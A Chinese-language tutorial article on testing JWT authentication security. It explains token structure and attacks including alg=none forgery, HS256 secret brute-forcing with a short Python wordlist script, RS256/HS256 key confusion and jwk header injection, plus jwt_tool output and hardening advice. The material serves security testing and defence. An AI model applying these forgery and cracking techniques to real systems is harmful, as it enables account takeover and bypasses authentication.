对jwt的安全测试方式总结

1. jwt简介

相对于传统的session-cookie身份校验机制,Token Auth正在变得流行,也就是说把token信息全部存在于客户端。这篇文章就讲讲Token Auth的一种,jwt机制。

jwt(JSON Web Token)是一串json格式的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。

一个jwt token由三部分组成,header、payload与signature,以点隔开,形如xxx.yyy.zzz

下面就是一个具体token的例子:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  • header用来声明token的类型和签名用的算法等,需要经过Base64Url编码。比如以上token的头部经过base64解码后为{"alg":"HS256","typ":"JWT"}
# Base64Url编码如下所示
from base64 import *
def base64URLen(s):
    t0=b64encode(s)
    t1=t0.strip('=').replace('+','-').replace('/','_')
    return t1

def base64URLde(s):
    t0=s.replace('-','+').replace('_','/')
    t1=t0+'='*(4-len(t0)%4)%4
    return b64decode(t1)
  • payload用来表示真正的token信息,也需要经过Base64Url编码。比如以上token的payload经过解码后为{"sub":"1234567890","name":"John Doe","iat":1516239022}
  • signature,将前两部分用alg指定的算法加密,再经过Base64Url编码就是signature了。

所以解码jwt token之后,内容大致如下:

一般我们遇到jwt字符串可以到https://jwt.io/这个网站解密。

2. jwt存在的安全风险

2.1 敏感信息泄露

我们能够轻松解码payload和header,因为这两个都只经过Base64Url编码,而有的时候开发者会误将敏感信息存在payload中。

2.2 未校验签名

某些服务端并未校验JWT签名,所以,可以尝试修改signature后(或者直接删除signature)看其是否还有效。

2.3 签名算法可被修改为none(CVE-2015-2951)

头部用来声明token的类型和签名用的算法等,比如:

{
  "alg": "HS256",
  "typ": "JWT"
}

以上header指定了签名算法为HS256,意味着服务端利用此算法将header和payload进行加密,形成signature,同时接收到token时,也会利用此算法对signature进行签名验证。

但是如果我们修改了签名算法会怎么样?比如将header修改为:

{
"alg": "none",
"typ": "JWT"
}

那么服务端接收到token后会将其认定为无加密算法, 于是对signature的检验也就失效了,那么我们就可以随意修改payload部分伪造token。

https://jwt.io/#debugger将alg为none视为恶意行为,所以,无法通过在线工具生成JWT,可以用python的jwt库来实现:

用none算法生成的JWT只有两部分了,根本连签名都不存在。

2.4 签名密钥可被爆破

jwt使用算法对header和payload进行加密,如果我们可以爆破出加密密钥,那么也就可以随意修改token了。

这里有一个python版本的jwt爆破脚本:https://github.com/Ch1ngg/JWTPyCrack

也可以快速用以下脚本爆破:

jwt_str = "xxx.ttt.zzz"
path = "D:/keys.txt"
alg = "HS256"

with open(path,encoding='utf-8') as f:
    for line in f:
        key_ = line.strip()
        try:
            jwt.decode(jwt_str,verify=True,key=key_,algorithm=alg)
            print('found key! --> ' +  key_)
            break
        except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
            print('found key! --> ' +  key_)
            break
        except(jwt.exceptions.InvalidSignatureError):
            continue
    else:
        print("key not found!")

2.5 修改非对称密码算法为对称密码算法(CVE-2016-10555)

JWT的签名加密算法有两种,对称加密算法和非对称加密算法。

对称加密算法比如HS256,加解密使用同一个密钥,保存在后端。

非对称加密算法比如RS256,后端加密使用私钥,前端解密使用公钥,公钥是我们可以获取到的。

如果我们修改header,将算法从RS256更改为HS256,后端代码会使用RS256的公钥作为HS256算法的密钥。于是我们就可以用RS256的公钥伪造数据

比如说这道CTF题目:https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin/

2.6 伪造密钥(CVE-2018-0114)

jwk是header里的一个参数,用于指出密钥,存在被伪造的风险。比如CVE-2018-0114: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0114

攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。

比如:

{
  "typ": "JWT",
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "kid": "TEST",
    "use": "sig",
    "e": "AQAB",
    "n": "oUGnPChFQAN1xdA1_f_FWZdFAis64o5hdVyFm4vVFBzTIEdYmZZ3hJHsWi5b_m_tjsgjhCZZnPOLn-ZVYs7pce__rDsRw9gfKGCVzvGYvPY1hkIENNeBfSaQlBhOhaRxA85rBkg8BX7zfMRQJ0fMG3EAZhYbr3LDtygwSXi66CCk4zfFNQfOQEF-Tgv1kgdTFJW-r3AKSQayER8kF3xfMuI7-VkKz-yyLDZgITyW2VWmjsvdQTvQflapS1_k9IeTjzxuKCMvAl8v_TFj2bnU5bDJBEhqisdb2BRHMgzzEBX43jc-IHZGSHY2KA39Tr42DVv7gS--2tyh8JluonjpdQ"
  }
}

3. JWT tool

此工具可用于测试jwt的安全性,地址是 https://github.com/ticarpi/jwt_tool

示例用法:

λ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn 9dm15Po

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
  Version 1.3                 \______|


=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = JWT
[+] alg = HS256

Token payload values:
[+] login = ticarpi

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

其中的选项分别为:

1. 修改JWT
2. 生成None算法的JWT
3. 检查RS/HS256公钥错误匹配漏洞
4. 检测JKU密钥是否可伪造
5. 输入一个key,检查是否正确
6. 输入一个存放key的文本,检查是否正确
7. 输入字典文本,爆破
8. 输入RSA公钥,检查是否正确

4. 安全建议

一般保证前两点基本就没什么漏洞了。

  • 保证密钥的保密性
  • 签名算法固定在后端,不以JWT里的算法为标准
  • 避免敏感信息保存在JWT中
  • 尽量JWT的有效时间足够短

5.参考文章

1 + 9 =
快来做第一个评论的人吧~